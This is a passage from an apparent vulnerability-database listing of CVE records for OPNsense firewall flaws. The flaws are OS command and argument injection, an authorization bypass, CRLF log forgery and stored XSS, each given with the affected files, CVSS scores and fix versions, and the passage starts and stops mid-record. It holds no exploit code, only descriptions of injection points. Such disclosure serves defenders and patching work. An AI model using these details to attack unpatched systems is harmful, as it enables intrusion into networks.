"dateUpdated": "2026-05-13T21:52:42.373Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/opnsense/core/security/advisories/GHSA-h3vx-4q27-rc42",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/opnsense/core/security/advisories/GHSA-h3vx-4q27-rc42"
}
],
"source": {
"advisory": "GHSA-h3vx-4q27-rc42",
"discovery": "UNKNOWN"
},
"title": "OPNsense: Authentication lockout bypass"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-44195",
"datePublished": "2026-05-13T21:52:42.373Z",
"dateReserved": "2026-05-05T15:13:47.570Z",
"dateUpdated": "2026-05-14T13:46:30.721Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-44194 (GCVE-0-2026-44194)
Vulnerability from nvd – Published: 2026-05-13 21:53 – Updated: 2026-05-19 03:55
VLAI
EPSS
VEX
Title
OPNsense: RCE on user managment
Summary
OPNsense is a FreeBSD based firewall and routing platform. Prior to 26.1.8, an authenticated Remote Code Execution (RCE) vulnerability in the OPNsense core allows a user with user-management privileges to execute arbitrary system commands as root. An attacker can bypass input validation by formatting their malicious payload as a compliant email address, allowing shell commands to reach the underlying operating system. The flaw exists in the local user synchronization flow, within core/src/opnsense/scripts/auth/sync_user.php. This vulnerability is fixed in 26.1.8.
Severity
9.1 (Critical)
SSVC
Exploitation: poc
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-05-15 00:00 UTC
CWE
- CWE-78 - Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://github.com/opnsense/core/security/advisor… | x_refsource_CONFIRM |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-44194",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-05-15T00:00:00+00:00",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-05-19T03:55:23.384Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/opnsense/core/security/advisories/GHSA-f59w-m967-9rf6"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "core",
"vendor": "opnsense",
"versions": [
{
"status": "affected",
"version": "\u003c 26.1.8"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "OPNsense is a FreeBSD based firewall and routing platform. Prior to 26.1.8, an authenticated Remote Code Execution (RCE) vulnerability in the OPNsense core allows a user with user-management privileges to execute arbitrary system commands as root. An attacker can bypass input validation by formatting their malicious payload as a compliant email address, allowing shell commands to reach the underlying operating system. The flaw exists in the local user synchronization flow, within core/src/opnsense/scripts/auth/sync_user.php. This vulnerability is fixed in 26.1.8."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9.1,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "HIGH",
"scope": "CHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-78",
"description": "CWE-78: Improper Neutralization of Special Elements used in an OS Command (\u0027OS Command Injection\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-05-13T21:53:27.948Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/opnsense/core/security/advisories/GHSA-f59w-m967-9rf6",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/opnsense/core/security/advisories/GHSA-f59w-m967-9rf6"
}
],
"source": {
"advisory": "GHSA-f59w-m967-9rf6",
"discovery": "UNKNOWN"
},
"title": "OPNsense: RCE on user managment"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-44194",
"datePublished": "2026-05-13T21:53:27.948Z",
"dateReserved": "2026-05-05T15:13:47.570Z",
"dateUpdated": "2026-05-19T03:55:23.384Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-44193 (GCVE-0-2026-44193)
Vulnerability from nvd – Published: 2026-05-13 21:52 – Updated: 2026-05-16 03:56
VLAI
EPSS
VEX
Title
OPNsense: RCE via XMLRPC endpoint using `opnsense.restore_config_section` method
Summary
OPNsense is a FreeBSD based firewall and routing platform. Prior to 26.1.7, the XMLRPC method opnsense.restore_config_section fails to sanitize user supplied input leading to Remote Code Execution. This vulnerability is fixed in 26.1.7.
Severity
9.1 (Critical)
SSVC
Exploitation: poc
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-05-15 00:00 UTC
CWE
- CWE-88 - Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://github.com/opnsense/core/security/advisor… | x_refsource_CONFIRM |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-44193",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-05-15T00:00:00+00:00",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-05-16T03:56:17.546Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/opnsense/core/security/advisories/GHSA-xxp9-93cr-x54p"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "core",
"vendor": "opnsense",
"versions": [
{
"status": "affected",
"version": "\u003c 26.1.7"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "OPNsense is a FreeBSD based firewall and routing platform. Prior to 26.1.7, the XMLRPC method opnsense.restore_config_section fails to sanitize user supplied input leading to Remote Code Execution. This vulnerability is fixed in 26.1.7."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9.1,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "HIGH",
"scope": "CHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-88",
"description": "CWE-88: Improper Neutralization of Argument Delimiters in a Command (\u0027Argument Injection\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-05-13T21:52:04.150Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/opnsense/core/security/advisories/GHSA-xxp9-93cr-x54p",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/opnsense/core/security/advisories/GHSA-xxp9-93cr-x54p"
}
],
"source": {
"advisory": "GHSA-xxp9-93cr-x54p",
"discovery": "UNKNOWN"
},
"title": "OPNsense: RCE via XMLRPC endpoint using `opnsense.restore_config_section` method"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-44193",
"datePublished": "2026-05-13T21:52:04.150Z",
"dateReserved": "2026-05-05T15:13:47.570Z",
"dateUpdated": "2026-05-16T03:56:17.546Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-71490 (GCVE-0-2026-71490)
Vulnerability from cvelistv5 – Published: 2026-10-15 15:24 – Updated: 2026-10-15 15:45
VLAI
EPSS
VEX
Title
OPNsense: Direct comma-separated user privileges bypass OPNsense MVC read-only write protection
Summary
OPNsense is a FreeBSD based firewall and routing platform. Prior to 26.1.11, OPNsense\Core\ACL::hasPrivilege() appends a directly assigned comma-separated <priv> value as one string and then uses an exact comparison when checking user-config-readonly. A user directly assigned both a component write privilege and user-config-readonly can therefore be treated as lacking the read-only restriction, and MVC APIs protected by throwReadOnly() can persist configuration changes for that component. Group privileges are not affected by the same parser flaw because the group path already splits comma-separated values. This issue is fixed in version 26.1.11.
Severity
7.1 (High)
SSVC
Exploitation: poc
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-10-15 15:44 UTC
CWE
- CWE-863 - Incorrect Authorization
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://github.com/opnsense/core/security/advisor… | x_refsource_CONFIRM |
| https://github.com/opnsense/core/commit/578e02511… | x_refsource_MISC |
| https://github.com/opnsense/core/commit/e15a88497… | x_refsource_MISC |
| https://github.com/opnsense/core/commit/f674f4ff2… | x_refsource_MISC |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-71490",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-10-15T15:44:35.198725Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-10-15T15:45:03.645Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/opnsense/core/security/advisories/GHSA-p9pr-782r-w2xw"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "core",
"vendor": "opnsense",
"versions": [
{
"status": "affected",
"version": "\u003c 26.1.11"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "OPNsense is a FreeBSD based firewall and routing platform. Prior to 26.1.11, OPNsense\\Core\\ACL::hasPrivilege() appends a directly assigned comma-separated \u003cpriv\u003e value as one string and then uses an exact comparison when checking user-config-readonly. A user directly assigned both a component write privilege and user-config-readonly can therefore be treated as lacking the read-only restriction, and MVC APIs protected by throwReadOnly() can persist configuration changes for that component. Group privileges are not affected by the same parser flaw because the group path already splits comma-separated values. This issue is fixed in version 26.1.11."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 7.1,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-863",
"description": "CWE-863: Incorrect Authorization",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-10-15T15:24:43.580Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/opnsense/core/security/advisories/GHSA-p9pr-782r-w2xw",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/opnsense/core/security/advisories/GHSA-p9pr-782r-w2xw"
},
{
"name": "https://github.com/opnsense/core/commit/578e025111161ffd03fd3fd0ccdac203be546505",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/opnsense/core/commit/578e025111161ffd03fd3fd0ccdac203be546505"
},
{
"name": "https://github.com/opnsense/core/commit/e15a884973746319e79bd2cd421e8a015cc3ddb9",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/opnsense/core/commit/e15a884973746319e79bd2cd421e8a015cc3ddb9"
},
{
"name": "https://github.com/opnsense/core/commit/f674f4ff294a3f7c4cd0591563f6df47bea50034",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/opnsense/core/commit/f674f4ff294a3f7c4cd0591563f6df47bea50034"
}
],
"source": {
"advisory": "GHSA-p9pr-782r-w2xw",
"discovery": "UNKNOWN"
},
"title": "OPNsense: Direct comma-separated user privileges bypass OPNsense MVC read-only write protection"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-71490",
"datePublished": "2026-10-15T15:24:43.580Z",
"dateReserved": "2026-08-06T19:56:23.725Z",
"dateUpdated": "2026-10-15T15:45:03.645Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-63442 (GCVE-0-2026-63442)
Vulnerability from cvelistv5 – Published: 2026-10-15 15:22 – Updated: 2026-10-16 17:13
VLAI
EPSS
VEX
Title
OPNsense: Log Forgery via Login Username CRLF in WebGUI Authentication → Pf Table IP Blocking
Summary
OPNsense is a FreeBSD based firewall and routing platform. Prior to version 26.1.11, the unauthenticated WebGUI login usernamefld accepts carriage-return and line-feed characters that survive LOG_AUTH processing through syslog-ng-lockout.conf into the syslog-ng program destination feeding lockout_handler. The consumer's readline() processing treats an injected fragment as a separate authentication event and selects the first syntactically valid IP address from the forged line. An attacker with network access to the login page can forge failure events for another IP, causing that IP to be added to the sshlockout PF table and its active states to be killed, or forge accepted events that reset an attacker's own brute-force counter. This can block administrative, DNS, gateway, or monitoring addresses and can bypass password-guessing lockout without authentication. This issue is fixed in version 26.1.11.
Severity
8.1 (High)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-10-15 20:24 UTC
CWE
- CWE-117 - Improper Output Neutralization for Logs
Assigner
References
3 references
| URL | Tags |
|---|---|
| https://github.com/opnsense/core/security/advisor… | x_refsource_CONFIRM |
| https://github.com/opnsense/core/commit/8bdaad95f… | x_refsource_MISC |
| https://github.com/opnsense/core/commit/c930ab586… | x_refsource_MISC |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-63442",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-10-15T20:24:38.956809Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-10-16T17:13:35.384Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "core",
"vendor": "opnsense",
"versions": [
{
"status": "affected",
"version": "\u003c 26.1.11"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "OPNsense is a FreeBSD based firewall and routing platform. Prior to version 26.1.11, the unauthenticated WebGUI login usernamefld accepts carriage-return and line-feed characters that survive LOG_AUTH processing through syslog-ng-lockout.conf into the syslog-ng program destination feeding lockout_handler. The consumer\u0027s readline() processing treats an injected fragment as a separate authentication event and selects the first syntactically valid IP address from the forged line. An attacker with network access to the login page can forge failure events for another IP, causing that IP to be added to the sshlockout PF table and its active states to be killed, or forge accepted events that reset an attacker\u0027s own brute-force counter. This can block administrative, DNS, gateway, or monitoring addresses and can bypass password-guessing lockout without authentication. This issue is fixed in version 26.1.11."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "ADJACENT_NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.1,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-117",
"description": "CWE-117: Improper Output Neutralization for Logs",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-10-15T15:22:16.011Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/opnsense/core/security/advisories/GHSA-2v2x-m4j7-76pv",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/opnsense/core/security/advisories/GHSA-2v2x-m4j7-76pv"
},
{
"name": "https://github.com/opnsense/core/commit/8bdaad95f405f4587bb83bf35aa652ca493cc2a4",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/opnsense/core/commit/8bdaad95f405f4587bb83bf35aa652ca493cc2a4"
},
{
"name": "https://github.com/opnsense/core/commit/c930ab586ffe2d2e010e5135657e5e054316ff58",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/opnsense/core/commit/c930ab586ffe2d2e010e5135657e5e054316ff58"
}
],
"source": {
"advisory": "GHSA-2v2x-m4j7-76pv",
"discovery": "UNKNOWN"
},
"title": "OPNsense: Log Forgery via Login Username CRLF in WebGUI Authentication \u2192 Pf Table IP Blocking"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-63442",
"datePublished": "2026-10-15T15:22:16.011Z",
"dateReserved": "2026-07-16T19:35:57.767Z",
"dateUpdated": "2026-10-16T17:13:35.384Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-58390 (GCVE-0-2026-58390)
Vulnerability from cvelistv5 – Published: 2026-10-15 15:21 – Updated: 2026-10-15 15:21
VLAI
EPSS
VEX
Title
OPNsense: Stored XSS to root RCE via OpenVPN client common_name in status views
Summary
OPNsense is a FreeBSD based firewall and routing platform. Prior to version 26.1.11, the OpenVPN connection-status dashboard widget in src/opnsense/www/js/widgets/OpenVPNClients.js and the connection-status view place a client common_name into data-common-name attributes without quote-safe encoding. Exploitation requires an OpenVPN server configured with username-as-common-name and RADIUS or LDAP authentication, plus the ability to provision or self-register a valid backend username containing a double quote; deployments where the same administrator controls both the identity backend and firewall do not cross a separate trust boundary. An authenticated client using that username can close the attribute and add an event handler, while the local user database is not affected because its username validator rejects quotes. Script executes in an administrator's session when the administrator opens the dashboard or connection-status page and the injected event is triggered; the demonstrated payload used pointer movement over the client row rather than unconditional page-load execution. The advisory demonstrates that the script can read config.xml, invoke privileged APIs, reset the root password, and obtain root command execution. This issue is fixed in version 26.1.11.
Severity
CWE
- CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Assigner
References
3 references
| URL | Tags |
|---|---|
| https://github.com/opnsense/core/security/advisor… | x_refsource_CONFIRM |
| https://github.com/opnsense/core/commit/11180daf5… | x_refsource_MISC |
| https://github.com/opnsense/core/commit/e7b2ac809… | x_refsource_MISC |
{
"containers": {
"cna": {
"affected": [
{
"product": "core",
"vendor": "opnsense",
"versions": [
{
"status": "affected",
"version": "\u003c 26.1.11"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "OPNsense is a FreeBSD based firewall and routing platform. Prior to version 26.1.11, the OpenVPN connection-status dashboard widget in src/opnsense/www/js/widgets/OpenVPNClients.js and the connection-status view place a client common_name into data-common-name attributes without quote-safe encoding. Exploitation requires an OpenVPN server configured with username-as-common-name and RADIUS or LDAP authentication, plus the ability to provision or self-register a valid backend username containing a double quote; deployments where the same administrator controls both the identity backend and firewall do not cross a separate trust boundary. An authenticated client using that username can close the attribute and add an event handler, while the local user database is not affected because its username validator rejects quotes. Script executes in an administrator\u0027s session when the administrator opens the dashboard or connection-status page and the injected event is triggered; the demonstrated payload used pointer movement over the client row rather than unconditional page-load execution. The advisory demonstrates that the script can read config.xml, invoke privileged APIs, reset the root password, and obtain root command execution. This issue is fixed in version 26.1.11."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-79",
"description": "CWE-79: Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-10-15T15:21:09.883Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/opnsense/core/security/advisories/GHSA-26cj-h9rj-g5pf",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/opnsense/core/security/advisories/GHSA-26cj-h9rj-g5pf"
},
{
"name": "https://github.com/opnsense/core/commit/11180daf579879d84d91a7fbea7a59320bc80868",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/opnsense/core/commit/11180daf579879d84d91a7fbea7a59320bc80868"
},
{
"name": "https://github.com/opnsense/core/commit/e7b2ac8093f804bef8eb88dfa9a0d99fad00c12b",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/opnsense/core/commit/e7b2ac8093f804bef8eb88dfa9a0d99fad00c12b"
}
],
"source": {
"advisory": "GHSA-26cj-h9rj-g5pf",
"discovery": "UNKNOWN"
},
"title": "OPNsense: Stored XSS to root RCE via OpenVPN client common_name in status views"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-58390",
"datePublished": "2026-10-15T15:21:09.883Z",
"dateReserved": "2026-06-30T18:19:58.377Z",
"dateUpdated": "2026-10-15T15:21:09.883Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-58394 (GCVE-0-2026-58394)
Vulnerability from cvelistv5 – Published: 2026-10-15 15:20 – Updated: 2026-10-15 18:36
VLAI
EPSS
VEX
Title
OPNsense: Stored XSS in Administration Settings via Certificate Description
Summary
OPNsense is a FreeBSD based firewall and routing platform. Prior to version 26.1.11, src/www/system_advanced_admin.php reads certificate records into $a_cert but omits that array from legacy_html_escape_form_data() before rendering each certificate descr value in the SSL Certificate selector. The certificate description accepts HTML metacharacters, allowing a user with the page-system-certmanager privilege to store markup that executes when another user opens System Settings Administration. This issue is fixed in version 26.1.11.
Severity
5.2 (Medium)
SSVC
Exploitation: poc
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-10-15 18:35 UTC
CWE
- CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://github.com/opnsense/core/security/advisor… | x_refsource_CONFIRM |
| https://github.com/opnsense/core/commit/9d0a590e9… | x_refsource_MISC |
| https://github.com/opnsense/core/commit/adcb02f8f… | x_refsource_MISC |
| https://hackerask.com/posts/opnsense | x_refsource_MISC |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-58394",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-10-15T18:35:21.476267Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-10-15T18:36:57.734Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/opnsense/core/security/advisories/GHSA-8pgr-x852-qx4j"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "core",
"vendor": "opnsense",
"versions": [
{
"status": "affected",
"version": "\u003c 26.1.11"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "OPNsense is a FreeBSD based firewall and routing platform. Prior to version 26.1.11, src/www/system_advanced_admin.php reads certificate records into $a_cert but omits that array from legacy_html_escape_form_data() before rendering each certificate descr value in the SSL Certificate selector. The certificate description accepts HTML metacharacters, allowing a user with the page-system-certmanager privilege to store markup that executes when another user opens System Settings Administration. This issue is fixed in version 26.1.11."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 5.2,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "HIGH",
"integrityImpact": "LOW",
"privilegesRequired": "HIGH",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:L/A:N",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-79",
"description": "CWE-79: Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-10-15T15:20:15.232Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/opnsense/core/security/advisories/GHSA-8pgr-x852-qx4j",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/opnsense/core/security/advisories/GHSA-8pgr-x852-qx4j"
},
{
"name": "https://github.com/opnsense/core/commit/9d0a590e9c49f4374a5539929b366123f63bc9eb",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/opnsense/core/commit/9d0a590e9c49f4374a5539929b366123f63bc9eb"
},
{
"name": "https://github.com/opnsense/core/commit/adcb02f8f68071e636bf9660b2cb8d0229f34674",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/opnsense/core/commit/adcb02f8f68071e636bf9660b2cb8d0229f34674"
},
{
"name": "https://hackerask.com/posts/opnsense",
"tags": [
"x_refsource_MISC"
],
"url": "https://hackerask.com/posts/opnsense"
}
],
"source": {
"advisory": "GHSA-8pgr-x852-qx4j",
"discovery": "UNKNOWN"
},
"title": "OPNsense: Stored XSS in Administration Settings via Certificate Description"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-58394",
"datePublished": "2026-10-15T15:20:15.232Z",
"dateReserved": "2026-06-30T18:19:58.378Z",
"dateUpdated": "2026-10-15T18:36:57.734Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-58392 (GCVE-0-2026-58392)
Vulnerability from cvelistv5 – Published: 2026-10-15 15:18 – Updated: 2026-10-15 15:54
VLAI
EPSS
VEX
Title
OPNsense: Stored XSS in Services: NTP GPS
Summary
OPNsense is a FreeBSD based firewall and routing platform. Prior to version 26.1.11, the NTP GPS page stores the operator-supplied initcmd value in base64 form, applies legacy_html_escape_form_data() to the encoded string, and then uses base64_decode() to decode the value directly into the GPS initialization-command textarea in src/www/services_ntpd_gps.php. Because decoding occurs after escaping, stored HTML remains unescaped at the output sink. A user with page-services-ntp-gps privilege can store a value that closes the textarea, and script executes in the session of any user who later opens the GPS page. The script can read CSRF material and perform authenticated actions, including actions available to an administrator. This issue is fixed in version 26.1.11.
Severity
5.4 (Medium)
SSVC
Exploitation: poc
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-10-15 15:54 UTC
CWE
- CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://github.com/opnsense/core/security/advisor… | x_refsource_CONFIRM |
| https://github.com/opnsense/core/commit/a92d9514b… | x_refsource_MISC |
| https://github.com/opnsense/core/commit/ed04a154d… | x_refsource_MISC |
| https://hackerask.com/posts/opnsense | x_refsource_MISC |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-58392",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-10-15T15:54:50.680359Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-10-15T15:54:57.730Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/opnsense/core/security/advisories/GHSA-h793-67jm-j4m5"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "core",
"vendor": "opnsense",
"versions": [
{
"status": "affected",
"version": "\u003c 26.1.11"
}
]
}
],
"descriptions": [
{
"lang": "en",
